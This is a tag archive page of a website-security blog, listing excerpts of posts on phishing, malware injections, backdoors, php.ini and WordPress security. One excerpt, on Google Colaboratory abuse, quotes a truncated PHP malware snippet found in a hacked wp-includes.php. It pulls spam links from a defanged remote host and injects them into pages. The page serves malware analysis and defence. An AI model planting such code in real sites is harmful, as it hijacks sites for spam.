Website owners and developers tend to buy a lot of domains. With different projects on the go and working with multiple different clients at any given time it can be a challenge to keep track of all your inventory. Sadly, when old websites and domains get forgotten about they can be preyed upon by attackers […]
Tag Archives: Website Security
How to Recognize & Avoid Phishing Emails: A Cautionary Tale
We’ve all received spam and phishing emails — our inboxes are often full of them. They let us know that our package is being delivered (even when we haven’t ordered anything), provide details on our “recent” tax filing (that was completed months ago), and encourage us to act fast and enter our credit card — […]
Massive Google Colaboratory Abuse: Gambling and Subscription Scam
This investigation started with a small and quite simple piece of PHP malware found on a hacked website. We located the following PHP code, responsible for injecting spammy links, within a wp-includes.php file: <?php $lines = file(‘https://4ip[.]su/db/links.txt’); shuffle($lines); $data = array_rand($lines, 900); echo ‘ ‘; foreach($data as $value) { $rand = substr(md5(microtime()),rand(0,26),6); echo ‘‘.$rand.’ ‘; […]
Malicious Injection Redirects Traffic via Parked Domain
During a recent investigation, our malware remediation team encountered a variant of a common malware injection that has been active since at least 2017. The malware was found hijacking the website’s traffic, redirecting visitors via a parked third-party domain to generate ad revenue. Investigating obfuscated JavaScript Our investigation revealed the following piece of obfuscated JavaScript […]
What is php.ini? Where It’s Located, How to Edit & Common Directives
The php.ini file, a critical configuration file containing your web server’s PHP settings, is integral to the functioning of your website. Each time PHP initiates, your system hunts down this file to identify directives that will be applied to your site’s scripts. While your PHP initialization file comes pre-configured, there may be instances when you […]
New Guide on Secure VPS Configuration
One of the most common problems that we observe among many of our clients is the persistent threat of cross contamination – that is, malware that spreads from one website to another when they are hosted in the same environment. This is particularly common within cPanel environments when add-on domains are used, or within improperly […]
Remote Code Execution Backdoor Uses Unicode Obfuscation & Non-Standard File Extensions
Readers of this blog will know that attackers are constantly finding new ways to hide their malware and avoid detection; after all, that’s what good malware does best! We have recently observed attackers leveraging both excessive amounts of unicode as well as peculiar includes and file extensions within their WordPress backdoors to conceal their malware […]
Demystifying Website Hacktools: Types, Threats, and Detection
When we think about website malware, visible infection symptoms most often come to mind: unwanted ads or pop-ups, redirects to third party sites, or spam keywords in search results. However, in some cases these very symptoms are the results of hacktools, a diverse and often insidious category of software designed to exploit vulnerabilities and compromise […]
What Are WordPress Salts & Security Keys?
In the realm of WordPress security, there’s a powerful tag team working tirelessly behind the scenes to safeguard your website’s login process. Meet salts and security keys, the cryptographic wonders responsible for protecting the sensitive information housed within the cookies that WordPress depends on for authentication. Think about it: when you log into your WordPress […]
What is a 403 Error & How to Fix It
A 403 error can be a frustrating interruption to anyone’s day; it can lead to exasperated website visitors, even leading to lost traffic and website revenue depending on the affected page. When you (or your site visitors) encounter an unexpected 403, it’s vital to assess the issue promptly in the event that it’s the symptom […]
